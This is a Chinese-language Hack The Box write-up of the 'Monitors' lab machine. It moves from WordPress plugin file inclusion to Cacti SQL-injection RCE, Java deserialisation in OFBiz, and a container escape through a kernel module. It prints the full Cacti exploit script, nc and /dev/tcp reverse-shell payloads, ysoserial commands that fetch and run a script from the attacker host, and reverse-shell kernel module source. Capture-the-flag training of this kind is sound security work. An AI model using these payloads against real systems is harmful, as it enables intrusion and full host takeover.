HTB: Monitors (OSWE 靶機)
Monitors 是一個hard的 Linux 靶機,這個靶機的解題過程涉及多個技術與漏洞利用。首先,利用一個 WordPress 插件 漏洞進行 SQL 注入,從而實現 command injection,這樣可以在系統上取得 Shell。隨後,通過基本的服務文件枚舉,成功獲得用戶密碼,並以此通過 SSH 獲得系統的初步控制權。在取得用戶權限後,接下來的根權(root)階段則涉及對 Apache OFBiz 進行 Java 基於 XML RPC 的反序列化 攻擊,成功在 Docker 容器中執行 Shell。最後,利用 CAP_SYS_MODULE 權限來加載惡意的kernel模塊,針對主機進行攻擊,進而實現特權升級,最終取得 root 權限。這個過程結合了多種攻擊技術,從 Web 應用漏洞到內核模塊的濫用,展示了多層次的滲透測試技巧和漏洞利用方式。
機器資訊
-
平台: Hack The Box
-
難度: hard
-
IP: 10.129.232.111
-
作業系統: Linux
偵察(Recon)
Nmap 掃描-TCP
sudo nmap -sC -sV -sT --min-rate 10000 10.129.232.111 -oA scan/TCP
開放端口:
- 22/tcp - SSH (OpenSSH 8.9p1)
- 80/tcp - HTTP Apache 2.4.29 (nginx 1.18.0)
Web -TCP 80 (Monitors.htb)
訪問 http://10.129.232.111/ 網頁上面寫著『If you are having issues accessing the site then contact the website administrator: admin@monitors.htb』
先把monitors.htb添加到 hosts 文件:
echo "10.129.232.111 monitors.htb" | sudo tee -a /etc/hosts
- tee 會生成檔案
- -a 代表 append 寫入在最後一行
Wordpress
重新瀏覽會看到網站運行類似監視器 的系統,從右下角可以看到是使用wordpress架設的網站
查看原始碼可看到wordpress 版本是 5.5.1
既然都看到Wordpress直觀就是要跑WPscan
wpscan --url http://monitors.htb/ --enumerate --api-token 放入你的api
api-token要來申請一下點這裡
從WPscan上可以看到有一個Plugin有『Unauthenticated File Inclusion』的漏洞,並且裡面有exploitDB
從ExploitDB可以看到是有RFI的漏洞可以利用
在CVE提供的SourceCode 裡面寫到,他會透過GET請求url並且取得Url的內容,也就說如果能找到可以利用上傳功能就能解析php拿到revershell
先驗證POC
網頁瀏覽有點醜
使用curl 比較好看一點
curl -i 'http://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd'
從/etc/passwd有看到裡面還有一個使用者是『marcus』,後續如果找不到密碼可以用這username去爆破密碼
而且WordPress是開源的專案,可以去github上找有沒有類似的Config配置檔案,看有沒有存放一些可利用的credentials。
從這邊可以看到wordpress 有『wp-config-sample.php』,這時候就要去試試看有沒有這個檔案,或者是猜有沒有可能是『config.php』其他名稱命名的
最後猜出來的php檔案是『wp-config.php』
curl -i 'http://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php'
可以知道 db_user 是『wpadmin』db_password是『BestAdministrator@2020!』 既然我們拿到password,也不排除密碼重複利用的狀況
很可惜沒有重複利用
我們在前面從config.php拿到db帳密之後,記得都是admin,所以要找有管理員可以登入的頁面,
使用feroxbuste目錄爆破找到一個wp-admin的頁面
feroxbuster -u http://monitors.htb/
使用剛剛的wp-admin登入看看
很可惜的是也無法登入
既然db帳密無法登入wordpress的管理頁面,這時候只能回去看列舉的內容有哪些可以利用,並且能透過LFI讀取什麼內容
在前面nmap掃描並且知道是Apache的Server,在Apache中/etc/apache2/sites-enabled/000-default.conf 通常是 Apache 的 **預設虛擬主機配置文件。
curl -i http://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../../etc/apache2/sites-enabled/000-default.conf
之後我們在使用剛剛的LFI去利用,可以看到有另一個Vhost是
『cacti-admin.monitors.htb』
在一樣把它加入我們的/etc/hosts
echo "10.129.232.111 cacti-admin.monitors.htb" | sudo tee -a /etc/hosts
Web -TCP 80 (cacti-admin.monitors.htb)
是一個登入頁面可以從登入頁面下面看到版本是1.2.12
看到一個Web也洩漏出版本先查看有沒有可以利用的
使用searchsploit 搜尋找到一個 『filter SQL Injection』
並且把它抓下來
searchsploit cacti 1.2.12 -m 49810.py
# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295
#!/usr/bin/python3
import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup
# proxies = {'http': 'http://127.0.0.1:8080'}
def login(url, username, password, session):
print("[+] Connecting to the server...")
get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)
print("[+] Retrieving CSRF token...")
html_content = get_token_request.text
soup = BeautifulSoup(html_content, 'html.parser')
csrf_token = soup.find_all('input')[0].get('value').split(';')[0]
if csrf_token:
print(f"[+] Got CSRF token: {csrf_token}")
print("[+] Trying to log in...")
data = {
'__csrf_magic': csrf_token,
'action': 'login',
'login_username': username,
'login_password': password
}
login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
if "Invalid User Name/Password Please Retype" in login_request.text:
print("[-] Unable to log in. Check your credentials")
sys.exit()
else:
print("[+] Successfully logged in!")
else:
print("[-] Unable to retrieve CSRF token!")
sys.exit()
def exploit(lhost, lport, session):
rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"
exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)
print("\n[+] SQL Injection:")
print(exploit_request.text)
try:
session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
except Exception:
pass
print("[+] Check your nc listener!")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')
parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)
parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)
parser.add_argument('-p', metavar='<password>', help="user's password", required=True)
parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)
parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)
args = parser.parse_args()
url = args.t
username = args.u
password = args.p
lhost = args.lhost
lport = args.lport
session = requests.Session()
login(url, username, password, session)
exploit(lhost, lport, session)
從這個payload需要帳密登入並且使用建立有效的Session才能夠利用,所以還是需要知道帳密。
我們手上wpadmin、marcus 還有一組密碼BestAdministrator@2020!
另外查到cacti 預設帳密是admin:admin
也就是説帳號可以嘗試wpadmin、marcus、admin
密碼可以嘗試 BestAdministrator@2020! 、admin
成功使用admin:BestAdministrator@2020! 登入

Shell as www-data(POC)
使用前面找到的cacti 版本的explot code
python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p "BestAdministrator@2020\!" --lhost 10.10.14.14 --lport 1234
打之前記得先做nc 監聽
成功拿到 www-data shell了 先做升級tty
python3 -c 'import pty;pty.spawn("/bin/bash")'
(後續會再補充如果做ExploitCode的過程(我還在努力
www-data to Marcus
拿到基本的網頁Shell,接下來就是要想怎麼拿到我們一開始使用LFI找到的Marcus的Shell
因為我們無法拿到 Marcus的Shell

ls -liah
當我輸入顯示所有隱藏檔案有發現到 Marcus有一個備份檔案『.backup』
一樣沒有權限可以利用
到這邊原本想說用 wget或者是curl 上傳linpeas列舉,結果發現目標兩個都沒裝,只能慢慢翻了

netnetstat -ano
查看目前系統的正在用的port的狀況,其中有看到一個8443 ,
另外有發現docker 跟 container正在跑 不排除要escape docker
直到搜尋
grep 'marcus' /etc -R 2>/dev/null
使用 grep 搜尋後又發現『/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh
』,大概率就是當前權限不夠所以 在找.backup 沒有看到
去cat 他看看,並且看到一組帳密
cacti_backup:VerticalEdge2020
使用這組密碼登入看看 是不是 Marcus的
成功登入,換成ssh登入 shell比較完整。

Marcus to Docker root
拿到user flag之後 在桌面有看到一個note.txt 寫著 需要更新docker image 可以呼印我們前面找到的docker 跟 container 的資訊
也使用
ps aux | grep docker
來找現在系統上所有執行的Process 過濾只有docker的內容
可以看到 目前 container 正在使用8443
既然是在內網 那我們必須說 Port forwarding
ssh -L 8443:127.0.0.1:8443 marcus@10.129.232.111
在 Kali開一個 8443 Port 當你連這個 port 時,SSH 把資料經過加密通道送到10.129.232.111 , 然後從它的角度去連 localhost:8443, 最後把回應傳回你這邊。
先使用 目錄爆破 報看看有沒有有趣的
feroxbuster -u https://localhost:8443/ -k
點擊了『/content』或『/catalog』Redirt到一個登入頁面叫做OFBiz
從 Source code可以看到版本是17.12.01
搜尋看到有一個RCE看起來是要做XML-RPC JAVA的反序列化

可以從github這邊看到有POC 先抓ysoerial來產java 序列化的payload
先建立 shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/8001 0>&1
啟動http.server
sudo python3 -m http.server 80
使用ysoerial產payload
java -jar ysoserial-all.jar CommonsBeanutils1 "wget 10.10.14.14:4545/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"
使用burpsuite送出POST請求,再把剛剛產出來的payload base64丟進去
送出請求後,在http.server上看到GET到我們的shell.sh
再做一個執行shell並且先監聽
java -jar ysoserial-all.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"
成功拿到docker的root了

Escape the docker to real root
進來之後一樣先升級我們的tty
python -c 'import pty;pty.spawn("bash")'
使用capsh 顯示目前container可以用的功能
capsh --print
除了手動列舉以外也能夠使用deepceDocker列舉提權的工具
發現在列舉的過程當中發現『CAP_SYS_MODULE』的功能,並且從這邊文章可以看到如何利用的方式
可以在kali生一些壞壞的東西,也可以直接在container裡面生
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.7/443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
以及建立makefile
obj-m +=reverse-shell.o
all:
make -C /lib/modules/4.15.0-142-generic/build M=/root modules
clean:
make -C /lib/modules/4.15.0-142-generic/build M=/root clean
兩個都要放在/root路徑裡面後執行make
啟動nc並且使用insmod安裝就會拿到shell!!
insmod reverse-shell.ko
